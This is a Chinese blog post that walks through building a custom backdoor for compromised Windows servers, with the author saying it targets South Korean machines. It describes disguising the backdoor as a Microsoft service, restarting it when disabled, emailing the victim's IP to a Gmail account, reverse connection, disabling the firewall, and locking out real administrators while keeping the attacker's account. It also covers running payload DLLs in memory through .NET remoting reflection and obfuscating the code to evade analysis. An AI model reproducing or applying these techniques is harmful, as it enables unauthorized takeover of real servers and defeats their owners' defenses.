.net remoting+win服務+反射做肉雞遠程控制

好不容易找到個肉雞,經常出現被管理員刪除和肉雞被別的掃肉雞者搶。用現成的木馬一是害怕本身木馬就有病毒別人沒控制反倒自己中招了,另外一個木馬逃不過殺毒軟件,所以決定自己做個後門。大家會有疑問,如果服務器沒裝.net怎麼辦,這個不是問題,因爲只有服務器肉雞纔有利用價值,winxp的客戶機肉雞沒什麼用因爲不能同時終端登錄而且普通用戶機器不是常開的ip也是每次都不一樣,這樣子反正對我就沒什麼用,我只要服務器肉雞,對了說一下,我只掃南棒的肉雞,從來不掃、不動國內的機器,所以以下我說的都是南棒的情況。南棒的win服務器基本都是win2003,而近期我找的南棒服務器100%都安裝了.net 2.0(注意不是2k3自帶的1.1),即使是南棒的客戶winxp也基本都裝了.net,所以運行不是問題,所以即使有個別的服務器沒裝那3389進去給他裝一個就行了,一共20來兆。南棒的機器配置太強了,動不動就xeon 4核e9450 4核什麼的,內存沒有4g以下的,全是4g 8g的,網絡那叫一個快啊,下載國內網站的文件1、2兆字節每秒,看的讓人直流口水。所以說前邊說即使他沒裝.net,那給它下載安裝也就是刷一下的功夫。而且他們服務器似乎沒人管,上次誤操作給一個機器關機了,幾天了發現還沒開機呢,這麼好的硬件這麼好的網絡他們基本就放個爛網頁就完了,netstat -an一看都沒幾個人鏈接。

 

下面說到正體了,把程序加到啓動組什麼的方法一下子就發現了,所以最好就是做成win服務,c#編寫服務和普通程序沒太大區別,就是多了一個右鍵添加安裝程序,把那2個控件改成localsystem,這樣就顯示是system帳號啓動的程序,另一個改成自動啓動,在服務那裏改成不能中止,另外應該把服務僞裝成微軟的服務這樣不容易被發現,僞裝方法就是照着真的微軟服務的名字、描述什麼的改成很像真的那種,這些都在屬性面板裏設置就行了,還有在項目的assemblyinfo.cs裏把廠商啊版本號什麼的都改成類似(C) Microsoft Corporation. All rights reserved.這樣的東西就行了,這樣安裝後用msconfig看,他就把這個服務當成真的微軟的服務了。

 

這裏有個問題如果管理員禁用了這個服務怎麼辦,這樣就可以在服務里加一個system.timer.timer(注意不是system.windows.form.timer),定期用microsoft.win32.RegistryKey類讀寫註冊表來改成自動開啓。

 

如果在任務管理器裏退出了服務進程怎麼辦,在.net下我找遍了網絡也沒有好的辦法,因爲.net不能用非託管代碼隱藏進程apihook 注入什麼的那些方法,只能用多進程互相保護的方法,比如2個進程互相監視一個退出了另一個把他啓動。

 

應該加個功能在服務onstart的時候用system.net.mail smtp把本機的ip地址等一些信息發到制定郵箱裏,這裏注意smtp服務器不要用他本機iis的smtp,因爲我試過那種自己構造smtp協議然後socket向服務器發送的無組件發郵件的那種,也試過用本機iis的smtp發送都不成功都返回了一個信息,就意思就是說當前的ip地址他不信任,當成垃圾郵件拒絕接受,如果認爲不是垃圾郵件可以與他公司聯繫,我試過gmail和163.com都返回這樣的結果,所以smtp只能用一個知名的郵箱才行,我用的gmail,gmail有個好處即使帳號被鎖定,smtp還是可以發送成功,我的那個專門發郵件的帳號幾乎每天都被鎖定,但是一會就解封了,不過gmail是ssl連接比普通smtp在代碼裏要麻煩一點。

 

還一個問題就是有的服務器有防火牆,雖看到開了端口但是連不上,這樣程序應該加個反向連接的功能,比如程序不但開端口,而且另開一線程定期讀取網絡上某個頁面的ip,然後試圖連接這個ip,這邊申請一個免費主頁,上線的時候把這次本機的ip改一下,等待那邊連接。還有服務器那邊應該在他的防火牆ics里加入到"例外",或者停止ics服務。還不行那可能就是這服務器前邊網關的限制只能開哪幾個端口那就沒辦法了。

 

還有一個爲了防止搶肉雞我加入了一個功能,1、定期把自己的帳號寫入管理員組如果禁用就開禁,如果密碼被改就改回來2、把管理員組裏除了排除的用戶外其他帳號一律刪除,服務器管理員90%都是administrator帳號一個,其他的基本都是被人加上的,還有一個,終端服務裏console登陸的一定是真的管理員,還有憑經驗分析哪些是真的這些都是排除的,其他的一律用程序定期刪除3、終端服務裏已登陸用戶過濾console的和排除的用戶,其他的一律用程序定期給它斷開。這裏就有問題了,一般加刪帳號用net user就行了或者net1 user,看終端用query user或者quser,斷掉終端用logoff id,但是現在很多人終端進去就把這些刪除了或者改了,所以用這些是不保險的,本來我是把本機的這些文件作爲資源加進程序運行釋放再調用,後來發現及其緩慢問題多多,後來選擇用api,netapi32.dll和wtsapi32.dll裏面的api就能完全解決上面的問題,用api的好處是進程看不到不停地變化,速度也快,而且這2個dll是不能被刪除或者改寫的,尤其是netapi32.dll,當初諾頓造成系統啓動不了就是他刪除了這個dll造成的,不過用法比較麻煩,在msdn裏面有解釋不過全是e語的,而且那些結構和枚舉的內容還有常量的定義,得一點一點的找,pinvoke.net還有搜索引擎找還得金山詞霸+msdn,全e語的看的頭都大了,還有一個釋放非託管內存的問題,.net下習慣了從來不考慮內存釋放的問題,所以開始一點也沒想到要釋放內存,不過pinvoke的例子發現得一點一點的用釋放內存的函數釋放內存,試了一下如果不加上那些函數,進程內存就直線上升,因爲這些步驟是要循環了,如果不釋放可能幾個小時後就幾百兆打了,這些都很討厭的是要注意的。

 

服務內容基本就是這樣的了。

 

下面說連接方式,開始用的socket的tcpclient,問題重重。網上的例子全是傳字符串的,但是實際如果在網絡上而且傳文件就不行了,比如監聽連接成功後,networkstream.read(),那些代碼下面都是讀取緩衝區的字節數組,但是我就經常遇到連接成功後一開始read就是讀到了0字節或者超時什麼的或者對方積極拒絕或者關閉了一個連接,如果循環讀直到不是0字節的話經常就又卡住了,傳文件的時候對方不知道到底文件有多大,小文件可以,大一點就不行了,即使開始加上文件大小也經常出各種問題。所以說網上那些代碼都是不能實際使用的,mdsn的例子也很簡單也不能用,用sniffer看了一下ftp協議,他是21端口文本連接,發送的時候臨時開個端口傳送,但是不知道他是怎麼直到2進制文件有多大的,也不知道那些異常的情況是怎麼處理的,總之感覺要用tcpclient處理非常困難。udp就更不用考慮了。於是看到了remoting,第一次看remoting,開始看着他們說的都是應用程序域啊dataset什麼的,感覺和網絡沒什麼關係,後來看了一下是可以傳送遠程對象,一想如果遠程對象裏如果有個字段是byte[]什麼的載具傳過來不就行了嗎,後來仔細看了一下發現remoting真是個好東西啊,因爲他能傳遠程對象也能遠程執行對象的方法,而不考慮網絡傳輸部分,那比我開始只要求的服務器後門可以上傳下載執行cmd的要求可是高多了,實際應用效果很好。應用看下面

 

反射

 

如果把功能寫死在服務器的那個服務裏面,壞處很多,第一如果你這邊有新的功能,必須給每個服務器都重新上傳新exe並安裝服務器,而且在本機的執行器程序不能通用,這是非常討厭的,反射解決了問題,服務器的服務程序不用變化了,然後功能模塊在客戶端這邊寫,remoting連接的時候把客戶這邊的dll加載到代理類的assembly字段,然後就可以動態的反射使用了

比如這樣

               public class daili:MarshalByRefObject

              {

                  Asembly assembly;

                  public void setdll(byte[] bt)

                   {

                        assembly=new Assembly.Load(bt);

                   }

               }

這樣服務器那邊就把具體執行的代碼從客戶端穿過去加載到服務器內存中並可以使用了,然後可以gettype methedinfo.invoke,也行,也可以在代理類裏寫一個方法,把服務器剛獲得的assembly生成一個服務器對象,並給客戶端他的引用,這樣就和代碼寫在服務器裏一樣了,這樣服務端就不用動了,要實現什麼功能就在客戶端改就行了,想想真幸福啊,因爲這樣基本可以實現任何在你本機可以實現的功能,而且就像在本機執行一樣,不用考慮網絡傳輸,比如上一篇我說的死機代碼,我就用這個方法在服務器執行也死機了,馬上就死機了。這樣子反射有3好處,第一是服務器不用改,他沒有具體實現,只有加載dll和返回服務器對象的代碼,第二就是代碼隱藏的好,因爲動態加載的dll是在服務器內存中的,沒有文件,即使對方如果發現並且用反編譯的那個工具看代碼也什麼也看不到只能看到代理類,沒有具體實現的代碼,第三就是.net的dll因爲是il所以個頭異常小,即使寫了很多功能代碼dll也才3、4十k,不存在傳輸障礙。我使用的tcpchannel,不需iis,這又有一個生存週期的問題,用服務器激活2種方式都不適用,singalton只有一個對象,那麼如果你在執行着斷線了什麼的再連那就可能出現錯誤,singalcall的代理對象不保存,比如上面代碼剛執行完服務器得到dll,這個方法一執行完assembly就沒有了。所以客戶端激活正好,每個客戶進來都得到自己的對象,這樣如果斷線重連,得到就是新的對象,對象也有保存性,用生存週期保存,這樣就可以設定了

        ILease lease;
        public override Object InitializeLifetimeService()
        {
            lease = (ILease)base.InitializeLifetimeService();
            if (lease.CurrentState == LeaseState.Initial)
            {
                lease.InitialLeaseTime = TimeSpan.FromMinutes(10);
                lease.SponsorshipTimeout = TimeSpan.FromSeconds(30);
                lease.RenewOnCallTime = TimeSpan.FromMinutes(10);
            }
            return lease;
        }

這樣子就說,對象設定保存10分鐘,如果10分鐘得到客戶續訂再開10分鐘,如果10分鐘沒得到客戶續訂信號等待30秒,30秒得到續訂再開10分鐘,30秒後還沒得到續訂就回收對象。這樣子客戶端就不用管釋放的問題了,剛剛好。不過這裏有個問題比如雖然設定了對象是10分鐘,但是如果它執行dll裏面有個死循環,那麼他就不管是不是得到客戶端的續訂都一直執行下去,這個代碼中要考慮。這些我都是測試過的,比如在服務端console顯示還有多長時間生存期,如果是while(true)顯示到點後會這樣

 

還有 1秒

還有 0秒

還有 -1秒

還有 -2秒

 

還有 MarshalByRefObject,就是得到服務器對象的引用,如果客戶端代碼這樣

Bitmap bp=serverobj.getimage();

bp.save(@"c:/1.bmp");

那麼並不是保存在你的c盤而是服務器的c盤,如果想把服務器的圖傳到客戶這邊那就只能把圖轉成byte[] 放到memorystream裏,

返回一個memorystream引用,再在本地建一個byte[] ,ms.read(bt),這樣就用遠程memorystram對象把內容讀到本地byte[]裏,轉成bitmap,還有有的對象沒有直接轉成byte[] 的方法,好像bitmap就沒有,那就必須用binaryformmter把bitmap序列化到ms裏,傳到客戶端後反序列化得到對象實例而不是引用再save就是保存到自己的c盤了。不過要序列化的類不能加 MarshalByRefObject,而且要加上 [Serializable]標籤,如果既沒有 [Serializable]也沒有MarshalByRefObject,客戶端這邊就會報錯說該類沒標記爲可序列化。還有一些不可序列化的東西就不能傳送實例,只能傳引用。還有代理類不需要單獨編譯成dll分別放在服務器客戶端兩邊,直接放在服務器和客戶端的代碼裏面就行,但是必須把服務器和客戶端這兩個項目的程序集名稱和命名空間名稱改成一樣的就行了,動態加載的那個dll,程序集和命名空間沒有要求,但是調用和反射的時候要寫全名包括程序集名稱。

 

註冊remoting的時候因爲不知道服務器是否佔用了指定端口,可以通過try catch,如果佔用重開端口+1就可以了

 

混淆。.net非常令人討厭的一點就是代碼可以被反編譯,這樣子就可以輕而易舉的得到代碼裏面的內容比如驗證的內容或者字符串什麼的,還有一下子就知道這段代碼是幹什麼的(因爲我發現南棒的服務器機器裏好多都安裝了vs2005,他們的網站也大都是asp.net的,所以估計服務器的主人應該可以看懂代碼),這種感覺令人非常不爽,可以用Dotfuscator Professional Edition來混淆,這樣反編譯後看到的比如字符串什麼的內容和主要方法體都不會被反編譯出來了,但是通過反射的方法不能用Dotfuscator的默認方法來混淆,因爲默認的方法把類名方法名都混淆了,而remoting的就不能創建服務器對象了,因爲找不到你代碼中說的那個類,所以可以通過Dotfuscator Professional Edition的類庫模式來混淆,類庫模式混淆後方法名類名都不會被混淆,但是方法體會被混淆成不容易看出來的代碼,這種混淆效果比默認的混淆要差不少,但是總比直接看清晰的代碼好的多了,而且還是有一部分是不會被反編譯出來的,也算勉強滿足要求。所以,後面動態加載反射的那個dll也是可以用類庫方式來混淆的。

 


好了,整個過程就是這樣了,remoting既方便又麻煩,方便在不管網絡連接,麻煩在引用還是實例能不能序列化等過程上,最後取得的效果還是比較令人滿意的,反射dll執行高級應用比如能多線程執行啊,事件啊這些內容我還得邊做邊學,不過暫時不搞這麼複雜,只要他執行方法就行了,如果有了好的方法了,再改進就行了,反正服務器那邊不用動,這邊本地dll寫什麼內容到時候他就執行什麼內容哈哈。

發佈了31 篇原創文章 · 獲贊 10 · 訪問量 65萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章